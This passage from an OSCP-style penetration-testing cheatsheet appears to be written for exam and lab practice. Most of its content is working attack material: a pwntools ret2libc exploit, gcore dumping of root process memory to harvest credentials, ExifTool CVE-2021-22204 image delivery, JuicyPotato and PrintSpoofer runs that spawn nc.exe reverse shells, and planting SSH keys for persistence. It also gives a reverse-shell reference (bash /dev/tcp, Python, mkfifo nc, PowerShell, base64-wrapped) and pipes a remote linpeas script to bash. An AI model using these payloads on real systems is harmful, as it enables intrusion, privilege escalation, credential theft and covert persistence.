If the binary has gets and a linked system symbol (visible in strings output) and no canary/PIE, that's a classic ret2libc/ret2plt one-shot.

# 1. Triage
checksec --file=./bin
file ./bin
strings ./bin

# 2. Find crash offset
gdb -q ./bin
> cyclic 200          # pwndbg/peda
> r
# feed pattern, get crash
> cyclic -l <RSP_at_crash>

# 3. Find gadgets
ROPgadget --binary ./bin | grep -E 'pop rdi|ret$'

# 4. Build with pwntools
from pwn import *
elf = ELF('./bin')
context.binary = elf

OFFSET  = 72                                 # from cyclic
POP_RDI = 0x004012a3
RET     = 0x004012a4                         # for stack alignment
SYSTEM  = elf.plt['system']
BINSH   = next(elf.search(b'/bin/sh'), None)

if BINSH is None:
    # write '/bin/sh' to .bss via gets first
    BSS  = elf.bss(0x100)
    GETS = elf.plt['gets']
    payload  = b'A'*OFFSET
    payload += p64(POP_RDI) + p64(BSS) + p64(GETS)        # gets(bss)
    payload += p64(POP_RDI) + p64(BSS) + p64(SYSTEM)      # system(bss)
    p = process('./bin')
    p.sendline(payload)
    p.sendline(b'/bin/sh')
else:
    payload  = b'A'*OFFSET + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
    p = process('./bin')
    p.sendline(payload)

p.interactive()

The extra ret before system is glibc's 16-byte stack-alignment requirement on x86_64 - many system() calls SEGV in movaps without it.

When the binary is sudo-able, the same payload through sudo yields a root shell because EUID is 0 for the lifetime of the process.

4.8 gcore memory dump for credential extraction

Surface:

  • Custom/unusual long-running root process visible in ps aux (password managers, vault unlocks, license servers, custom auth daemons)
  • Any of these primitives available to the low-priv user:
    • sudo -l lists gcore / gdb with NOPASSWD or accepted password
    • getcap -r / 2>/dev/null shows cap_sys_ptrace on a binary we can run
    • cat /proc/sys/kernel/yama/ptrace_scope returns 0

Why it works: gcore writes a core dump of a running process to disk. If you can run it against a privileged process, anything that process has in memory becomes readable - plaintext credentials, decrypted secrets, session tokens, keys.

Exploitation:

# Find odd root processes
ps -ef | grep -i -E 'pass|vault|secret|auth|cred|key' | grep -v grep
ps auxf

# Confirm primitive
sudo -l
getcap -r / 2>/dev/null
cat /proc/sys/kernel/yama/ptrace_scope

# Dump core to cwd (writes core.<PID>)
sudo gcore <PID>

# Or without sudo if ptrace permits same UID

# Mine the dump
strings core.<PID> | grep -i -E 'pass|pwd|secret|token|user'
strings core.<PID> | less

Gotchas:

  • Core files can be massive (multi-GB for JVM processes). Write to tmpfs if you can: cd /dev/shm && sudo gcore <PID>
  • Process pauses briefly during dump - don't do this if disrupting it would alert/lock something out.
  • Memory layout matters: strings near getline()/stdin buffers tend to hold the most recent input. Search proximity to known prompts (Password:, PIN:).

If sudo allows gdb directly (not just gcore), shell escape via gdb -nx -ex '!sh' -ex quit is faster than the dump route. But the dump is the play when the goal is other users' secrets, not your own UID escalation.

4.9 Privileged-binary-on-attacker-input pattern

When a privileged process (root cron, suid wrapper, web upload handler) calls a parsing utility on attacker-controlled input, that's one of the top-3 OSCP Linux privesc archetypes. The pattern:

  1. Find a privileged invocation in /etc/crontab, /etc/cron.d/, or via pspy
  2. Identify the binary it calls and the input source
  3. Check the binary's version against known parser-injection CVEs

Worth knowing per binary:

BinaryCVETrigger
ExifToolCVE-2021-22204DjVu ANT data passed through Perl eval; affects 7.44-12.23
ImageMagickImageTragick (CVE-2016-3714) and follow-upsPostScript / MVG / SVG chains
GhostscriptCVE-2023-36664 etc.-dSAFER bypasses
ffmpeg(various)HLS read primitives
tar(path traversal)Symlink/hardlink tricks in archives extracted by cron

ExifTool CVE-2021-22204 (detailed)

Identification checklist:

  • exiftool -ver returns 12.23 or earlier
  • exiftool is invoked by something privileged (root cron, suid wrapper, web upload pipeline, mail handler)
  • Input directory is writable by the current low-priv user
  • No mandatory .djvu extension - filename filtering is usually a loose substring match on jpg/png/etc. (the malicious file is DjVu internally regardless)

Discovery:

# Static enum
cat /etc/crontab
ls -la /etc/cron.{d,hourly,daily,weekly,monthly}/

# Dynamic enum - catches root cron without read access
wget http://$TUN0/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64

# Check exiftool everywhere it might live
which -a exiftool && exiftool -ver
find / -name 'exiftool*' 2>/dev/null

Exploit (UNICORD PoC):

# Run on the attacker box, not the target. Output is a crafted image.
sudo apt install djvulibre-bin
git clone https://github.com/UNICORDev/exploit-CVE-2021-22204
cd exploit-CVE-2021-22204

# Variant A: reverse shell built-in
python3 exploit-CVE-2021-22204.py -s $TUN0 $PORT

# Variant B: arbitrary command
python3 exploit-CVE-2021-22204.py -c '<cmd>'

Delivery:

# Attacker
python3 -m http.server 8888
rlwrap nc -lvnp $PORT

# Target (low-priv shell)
cd /writable/input/dir
curl -o pwn.jpg http://$TUN0:8888/image.jpg
# Wait up to 60s for cron, or trigger manually

Gotchas:

  • Filename filter: target script is usually grep "jpg" (substring), not extension validation. pwn.jpg, pwn.jpgx, foo.jpg.bar all match.
  • Don't run the exploit on the target. The script generates the image, it doesn't execute the chain. djvulibre-bin probably isn't on the target.
  • Payload survives even when the wrapping script redirects exiftool's output (exiftool "$IMAGES/$filename" >> $LOG). The eval happens during metadata parsing, before output redirection matters.

4.10 Always read what's hand-installed under /usr/local/

Distro binaries are vetted; bespoke ones under /usr/local/bin/ are where the bugs live. Whenever you have a foothold, walk:

ls -la /usr/local/bin/ /usr/local/sbin/ /opt/
file /usr/local/bin/* 2>/dev/null

Anything that looks hand-rolled (not from a package, no man page, weird name) deserves the binary triage in 4.6.

4.11 Quick-fire enumeration after foothold

# Identity & sudo
id; groups; sudo -l 2>/dev/null

# Filesystem capabilities
getcap -r / 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|run|dev)'

# Process tree (cron, services running as other users)
ps auxwf

# Network
ss -tlnp; ss -tunap
ip a; ip r

# Users with shells
getent passwd | awk -F: '$7 !~ /(nologin|false)$/'

# Recent files (CTF clue locations)
ls -la /home/*/ /root/ /opt/ /tmp/ /var/tmp/ /srv/ 2>/dev/null

# Cron
cat /etc/crontab; ls -la /etc/cron.*/ 2>/dev/null
crontab -l; sudo crontab -l 2>/dev/null

# Pull linpeas if the above leaves gaps
curl http://$TUN0:8000/linpeas.sh | bash 2>/dev/null | tee /tmp/lp.out

4.12 GCC 10+ implicit declaration fix

Half of the public Redis/kernel/CVE exploits won't compile on a modern Kali without a header patch. The symptom:

module.c:23:29: error: implicit declaration of function 'strlen'
module.c:48:38: error: implicit declaration of function 'inet_addr'

Pre-gcc 10 issued warnings; gcc 10+ promotes them to errors. Fix:

sed -i '1i#include <string.h>\n#include <arpa/inet.h>' src/module.c

Carry the one-liner in your cheatsheet.


5. Windows Privilege Escalation

5.1 whoami /priv is the privesc decision tree

After any Windows foothold, the first command is:

whoami /priv

The output drives the technique:

PrivilegeTechnique
SeImpersonatePrivilegePotato family (see 5.2)
SeBackupPrivilegeDump SAM/SYSTEM/NTDS for offline cracking
SeRestorePrivilegeArbitrary file write
SeTakeOwnershipPrivilegeFile ACL games -> overwrite SYSTEM file
SeDebugPrivilegeToken impersonation via process access
SeLoadDriverPrivilegeLoad malicious driver

State doesn't matter. Enabled or Disabled both work for most of these. What matters is whether the privilege is in the token at all. The SeImpersonatePrivilege case is the most common - service accounts (IIS app pools, MSSQL service, custom wamp\apache-style accounts) hold it by default on most Windows versions.

5.2 SeImpersonate -> SYSTEM (Potato family)

The Potato attacks abuse DCOM/RPC to trigger an authentication callback from a SYSTEM-owned COM server, then impersonate the resulting SYSTEM token. Which Potato to use depends on the Windows version:

Windows versionTool
Server 2008 / 2008 R2 / 2012 / 2012 R2 / 2016 (pre-May 2020)JuicyPotato
Server 2019 / 2022 / Windows 10 1809+PrintSpoofer or GodPotato
Modern with no SpoolerRoguePotato (needs external OXID resolver)

JuicyPotato workflow

:: Stage tools in a writable directory
certutil -urlcache -split -f http://%TUN0%/Juicy.exe Juicy.exe
certutil -urlcache -split -f http://%TUN0%/nc.exe nc.exe

:: Verify SeImpersonate is in the token
whoami /priv

:: Dry-run: confirm CLSID maps to a SYSTEM-owned COM server
.\Juicy.exe -z -c "{4991d34b-80a1-4291-83b6-3328366b9097}"
:: Prints the token user it would impersonate. Should be SYSTEM.

:: Fire
.\Juicy.exe -l 1337 ^
  -c "{4991d34b-80a1-4291-83b6-3328366b9097}" ^
  -p C:\Windows\System32\cmd.exe ^
  -a "/c C:\Users\Public\nc.exe -e cmd.exe %TUN0% 1339" ^
  -t *

Quoting gotchas (the bit that wastes time)

  • -a takes a single argument string. If your command has spaces or its own flags, quote the whole thing. Otherwise JuicyPotato gags on the first inner -:

    Bad : -a nc.exe -e cmd.exe <IP> 1339
    Good: -a "/c nc.exe -e cmd.exe <IP> 1339"
    
  • The spawned program inherits a working directory you don't control (usually system32). Use absolute paths inside -a for any binary or file you reference:

    -a "/c C:\Users\Public\nc.exe -e cmd.exe %TUN0% 1339"
    
  • -t * tries CreateProcessWithTokenW first, then CreateProcessAsUser. Leave it as * unless one path is failing for a specific reason.

Working CLSID quick-reference

  • BITS {4991d34b-80a1-4291-83b6-3328366b9097} - works on Server 2008/2008 R2/2012, the original ohpe default
  • Server 2016: many BITS CLSIDs fail, use {0eac4842-...} or one from the ohpe Server 2016 list

Always -z test first if unsure.

Failure modes

SymptomCause
Wrong Argument: -Unquoted -a swallowing the next flag
Authentication error / no callbackCLSID doesn't resolve to a SYSTEM service on this OS version. Try a different one.
Callback arrives but no shellSpawned process cwd issue (use absolute paths) or nc.exe not staged
Token user is not SYSTEM in -z testWrong CLSID for this OS, move on

PrintSpoofer (modern Windows)

PrintSpoofer.exe -i -c "C:\Users\Public\nc.exe -e cmd.exe %TUN0% 1339"

GodPotato is the newer .NET-based alternative; works through Server 2022.


6. SSH Tradecraft

6.1 The MaxAuthTries trap

$ ssh -i keys/root [email protected]
Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures

This is the SSH gotcha that derails the most OSCP candidates. The mechanism:

  • ssh by default offers every key it can find - keys loaded into a running ssh-agent, plus default identity files (~/.ssh/id_rsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ed25519, etc.)
  • The OpenSSH server caps auth attempts per connection (MaxAuthTries, default 6) before disconnecting
  • Even with explicit -i <key>, the agent's identities are tried first. By the time your -i key gets offered, the server has already capped you.

In a typical exploitation flow, you've probably dropped one or two of your own keys (for the foothold), and the target user has SSH state of their own, which is enough to blow past the threshold before the key you wanted to use ever gets tried.

6.2 Fix: IdentitiesOnly yes + IdentityAgent none

Two options solve this cleanly. Prefer inline (leaves no artifact on the box):

ssh -i keys/root -o IdentitiesOnly=yes -o IdentityAgent=none [email protected]

What they do:

  • IdentitiesOnly yes - only offer identities explicitly passed via -i or IdentityFile, never the agent or defaults
  • IdentityAgent none - disable the SSH-agent socket for this session

If you need it persistent, drop into ~/.ssh/config:

cat > ~/.ssh/config <<'EOF'
Host *
    IdentitiesOnly yes
    IdentityAgent none
EOF

Internalize the full incantation:

ssh -i <key> -o IdentitiesOnly=yes -o IdentityAgent=none user@host

A few seconds typing the flags is faster than debugging "Too many authentication failures" mid-exam.

6.3 Loopback vs external root SSH

sshd_config frequently sets PermitRootLogin prohibit-password (or no) for external interfaces but accepts key-based root login from loopback. If a found root key fails against the external IP, get a foothold and try it against 127.0.0.1 from inside the box.

# From inside the box, after foothold:
ssh -i keys/root -o IdentitiesOnly=yes -o IdentityAgent=none [email protected]

This is why a "useless" root key found via LFI is sometimes the actual privesc path - it just needs to be used from the right network position.

6.4 Drop your pubkey at every privilege level, immediately

Whenever you land a new shell - at any privilege level - drop your public key into the user's authorized_keys before doing anything else:

USER_KEY='ssh-ed25519 AAAA...your_pubkey... attacker'

mkdir -p ~/.ssh && chmod 700 ~/.ssh
grep -qxF "$USER_KEY" ~/.ssh/authorized_keys 2>/dev/null \
  || echo "$USER_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Verify from Kali
ssh -i ~/.ssh/<box_key> <user>@$IP id

Why this matters:

  • Exam clock: 10s SSH login beats a 10-minute exploit chain replay.
  • Boxes reset on time, not on demand. Persistence buys you actual enumeration time.
  • If your shell dies during privesc, you don't repeat the foothold.

6.5 SSH key in non-canonical location is a hint

If you find an SSH key at ~/.ssh/keys/id_rsa rather than the canonical ~/.ssh/id_rsa, the directory itself is telling you something: the user manages keys for multiple identities. Read every file in that directory, not just the canonical filename.

When you do, you'll often find keys named after their intended target: id_rsa_server1, production_key, or - the gold case - root.

Finding a private key in someone's .ssh/ directory does not mean it grants access to that account. The key only grants access wherever its corresponding public key is in an authorized_keys file. Always try the key, and when it fails, drop the assumption and move on rather than burning cycles on it.


7. Reverse Shells and Catchers

7.1 Catcher choice matrix

ListenerWhen
nc -lvnp <port>Unambiguous baseline; raw bytes only
rlwrap nc -lvnpAdds readline history, arrow keys
penelope -i tun0 -p <port>Auto PTY upgrades, logging, multi-session, file transfer
pwncat-cs -lp <port>Persistence, port forwards, modules
msfconsole exploit/multi/handlerRequired for any windows/* or meterpreter payload

When debugging "no callback," regress to plain nc -lvnp - strips out framing assumptions and tells you whether any TCP byte arrived.

7.2 Penelope vs raw payloads

penelope automatically upgrades incoming shells to a full PTY. This means only feed it raw shells. A pre-ptied connection (your payload already called pty.spawn) causes penelope's upgrade routine to double-fire and hang.

CatcherPayload type
penelopeRaw shells only: bash -c 'bash -i >& /dev/tcp/...', nc -e, raw socket-dup payloads
rlwrap ncAnything, no auto-upgrade

7.3 Reverse shell payload reference

Linux:

# Plain bash (works on most modern Linux with bash 4+ /dev/tcp)
bash -c 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1'

# Python raw socket (works when /dev/tcp is unavailable)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$TUN0",$PORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'

# nc (only on traditional/openbsd netcat)
nc -e /bin/bash $TUN0 $PORT

# mkfifo (universal fallback)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $TUN0 $PORT >/tmp/f

Windows:

:: netcat (if you staged nc.exe)
nc.exe -e cmd.exe %TUN0% %PORT%

:: PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('%TUN0%',%PORT%);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush()};$client.Close()"

For complex quoting situations (RCE wrappers, salt-stack, web exploits with single-quote-escaping pain), use base64:

PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1' | base64 -w0)
# Send: bash -c "{echo,${PAYLOAD}}|{base64,-d}|bash"

7.4 Shell quoting rules (the bit that breaks everything)

When passing a shell payload through an RCE wrapper (like a SaltStack PoC, web exploit -c parameter, etc.), quoting nesting matters more than payload content. The default rules:

# Single quotes inside double quotes - SAFE
./exploit.py --execute "bash -c 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1'"

# Double quotes inside double quotes - BREAKS (f-string / shell expansion conflicts)
./exploit.py --execute "bash -c \"bash -i >& /dev/tcp/$TUN0/$PORT 0>&1\""

# Double single quotes - RUNS LOCALLY, not on the target
./exploit.py --execute ''cmd''
# bash treats this as: empty string + cmd + empty string

If quoting becomes intractable, base64 the payload (see 7.3) and let the remote shell decode it.

7.5 PTY upgrade (manual, when penelope is not available)

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z to suspend
stty raw -echo; fg
# Inside the resumed shell:
export TERM=xterm-256color
stty rows 50 columns 200

What this gets you:

  • Tab completion
  • Arrow keys for history
  • Ctrl-C without killing your shell
  • Vim/less/sudo prompts that need a real terminal

7.6 Reverse shell egress troubleshooting

If a shell "doesn't come back" after firing an RCE:

# Step 1 - test code execution at all (ICMP, lighter than TCP)
# On Kali:
sudo tcpdump -i tun0 icmp

# Via the exploit:
exploit --execute "ping -c 3 $TUN0"
# Hits in tcpdump -> code exec works
# No hits -> exec is broken, not the shell

# Step 2 - test outbound TCP on your chosen port
exploit --execute "curl http://$TUN0:8000/test"
# On Kali: python3 -m http.server 8000
# Hits -> shell payload is the problem
# No hits -> TCP egress filtered, use HTTP/ICMP exfil

This three-step ladder (ICMP -> HTTP -> shell) saves time vs guessing at payload format when the real problem is firewall/egress.


8. Methodology and Mindset

8.1 Default creds before brute force, on every service

Built into 2.2 already, but worth restating because it's the single most common time sink. zFTPServer admin:admin tested late after 18 minutes of hydra on basic auth is the canonical example. Enumerate -> grab every banner -> Google <product> default credentials for each service -> only then brute force.

8.2 Themed banners and quotes are flavor, not strategy

A basic-auth realm string like "Qui e nuce nuculeum esse volt, frangit nucem!" ("he who wants the kernel must crack the nut") reads like a brute-force invitation. It's almost always a thematic flourish, not an enumeration hint. Realm/quote/banner cuteness is not a brute-force invitation. Test other services first.

8.3 Test every parameter on every endpoint

Covered in 2.5. The single most-impactful web reflex: when a primitive exists in one parameter on one endpoint, check whether other endpoints honor it too. Path traversal in cwd on download = half a vulnerability. Same cwd on upload = the whole vulnerability.

8.4 Privilege-boundary mapping after LFI

Covered in 2.6. When LFI lands, immediately test what you can't read. The denials tell you what user the process runs as, which dictates whether your subsequent file-write primitives will be honored.

8.5 LFI is reconnaissance for every later phase

Covered in 2.7. Whenever LFI lands, enumerate every file you'll need later - ~/.ssh/ (entire directory), /etc/crontab, application configs, recent log files. Pre-stage privesc targets before the foothold.

8.6 Always read what's hand-installed under /usr/local/

Covered in 4.10. Distro binaries are vetted; bespoke ones are where the bugs live. strings is the first stop.

8.7 Service-level fingerprinting beats web-UI version strings

A patched-looking web UI does not mean every listener bound by the same product is patched. Web-UI version is the IIS-side build only - the .NET Remoting service is a separate binary listener and is frequently left running on patched-looking installs. If a known legacy port is still open, try the legacy exploit even if the version says no.

8.8 PoC vs weaponized exploit gap

When a recent CVE only ships a detection script, walk the product's CVE history backwards - older RCEs are usually weaponized and may still apply to the same code paths.

8.9 Catcher selection is tradecraft

Knowing which payload to fire at which catcher is exam-time tradecraft. Penelope auto-upgrades raw shells - feeding it a pre-ptied connection breaks it. rlwrap nc is the bulletproof fallback but doesn't auto-upgrade. Choose deliberately.

8.10 Persistence first, enumeration second

Drop your pubkey at every privilege level immediately. The exam clock makes a 10-second SSH login dramatically better than a 10-minute exploit chain replay.

8.11 Note every dead-end with the reason

"SSH-key write failed because the Redis daemon runs as an unexpected user with no writable .ssh directory" is more useful than "SSH-key write didn't work." The dead-ends are the methodology. When you encounter the same product later, the recorded reason saves you from repeating the same mistake.

8.12 Promote reusable bits to the cheatsheet immediately

The gcc-includes fix for RedisModules-ExecuteCommand saves future-you 5 minutes - but only if it's in the cheatsheet, not buried in a per-box writeup. Same goes for any one-liner that worked when the obvious one didn't.

8.13 Capture commands as you go, not after

script -f session.log at the start of every engagement, or tee everything to a file. Reconstructing from memory is how typos and made-up commands sneak into compendiums. Then they don't work when you actually need them.

8.14 Exam-clean flag

OSCP exam allows one machine to use Metasploit (with limited modules). Mark every technique in your personal notes by whether it works without msf - saves panic on test day.

8.15 TimeoutError on a reverse-shell trigger is not failure

Many exploit wrappers (Redis rogue master, salt-stack runners, web RCE PoCs) expect their executed command to return. A reverse-shell payload doesn't return - it hands control to the listener. The wrapper's TimeoutError or "command hung" traceback is expected, not a failure. Check the listener before assuming the exploit didn't fire.

8.16 Tooling toolbox - what to have pre-staged on Kali

When the exam clock is ticking and you want zero installation friction:

  • penelope.py - primary listener
  • linpeas.sh, winpeas.exe, linenum.sh
  • pspy64 - process monitor without root
  • BloodHound, BloodHound-CE, SharpHound
  • certipy-ad, impacket-* suite, evil-winrm, nxc/netexec
  • chisel, ligolo-ng - pivoting
  • feroxbuster, ffuf, gobuster
  • hashcat, john
  • Responder for AD
  • pwntools (Python) + GDB with pwndbg/peda
  • ROPgadget, one_gadget, pwninit
  • JuicyPotato.exe, PrintSpoofer.exe, GodPotato.exe, nc.exe (Windows side)

Keep these statically built or pre-downloaded so reverting your machine doesn't cost you 20 minutes of apt install.


9. References

Web

Services

Linux PrivEsc

Windows PrivEsc

Tooling

Hash formats


End of compendium.